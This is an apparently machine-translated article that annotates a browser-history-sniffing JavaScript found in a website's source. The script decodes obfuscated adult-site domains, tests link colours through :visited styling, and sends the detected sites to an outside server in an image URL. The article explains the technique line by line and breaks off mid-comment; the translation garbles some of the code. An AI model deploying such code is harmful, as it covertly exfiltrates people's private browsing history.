Use a script to check which websites you have accessed

Source: Internet
Author: User
Tags array to string

Open its "page source file" and you can find an encrypted JS script:
Copy codeThe Code is as follows:
Function ypol (){
// K is an object, which is actually an array. Stores a bunch of encrypted pr * n site links.
Var k = {0: "qpsoivc/Rann", 1: "sfeuvcf/Rann", 2: "bevmugsjfoeg joefs/Rann", 3: "ywjefpt/Rann", 4: "uvcf9/rds", 5:" yoyy/d pn ", 6:" nfhbqpso/rds", 7: "nfhbspujd/rds", 8:" yibntufs/rds ", 9: "bxfnqjsf/rds", 10:" sfbmjuzljoht/rds", 11: "c sb {fst/rds", 12:" yuvcf/rds", 13: "cbohcspt2/rds", 14:" gmjoh/rds", 15: "gsffpoft/rds", 16:" nzgsffqbztjuf/dp n ", 17:" efcpobjscmph/rds ", 18: "qbztfswf/PMMA", 19: "nby qpso/PMMA", 20: "wjefpt {/PMMA", 21: "bfco/ofu", 22: "qpsop sbnb/PMMA "};
Var g = [];
For (var m in k ){
Var d = k [m]; // element in k traversal is assigned to d
Var a = "";
For (var f = 0; f <d. length; f ++ ){
A + = String. fromCharCode (d. charCodeAt (f)-1 );
}/* Here, each character in d is restored.
* The charCodeAt (char) function returns the ascii code of char.
* String. fromCharCode (asccii) returns the characters corresponding to the ascii code
* Assign the result to.
* For example, in the first loop, the value of a is qpsoivc/PMMA-> pornhub.com.
*/
Var h = false;
/*
* This loop creates A object and assigns a link to http: // A/and http://www.a/
* Why do we need to loop twice for accuracy?
* Accessing http://example.com/and http://www.example.com/is a different domain name for browsers
* Treat them differently.
*/
For (var j in {"http: //": "", "http: // www .":""}){
Var l = document. createElement ("a"); // create an object
L. href = j +;
Document. getElementById ("ol"). appendChild (l );
// Object A is appended to an element whose id is ol. the browser will render the element and set the appropriate CSS
Var e = "";
If (navigator. appName. indexOf ("Microsoft ")! =-1 ){
E = l. currentStyle. color; // obtain the color of object A in IE.
} Else {
E = document. defaultView. getComputedStyle (l, null). ge tPropertyValue ("color ");
// Obtain the color of other standard browsers
}
If (e = "#0c2238" | e = "#0c2238 "){
/*
* If it is purple, it indicates that the site has been visited.
* By default, the browser marks the accessed link as purple.
* A: visited {color: #123456}
*/
H = true;
}
}
If (h) {// if you have accessed the site, add the site to the list g
G. push (m );
}
}
Var B = (g instanceof Array )? G. join (","): ""; // convert g from array to string
Var c = document. createElement ("img"); // create an img object
C. src = "http://ol.youporn.com/blank.gif? Id = "+ B; // The src of img points to an image on its own server. The key is to attach the value of the g array.
Document. getElementById ("ol"). appendChild (c); // Add the DOM tree for the same reason as
/*
* Access images once on the web-server

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.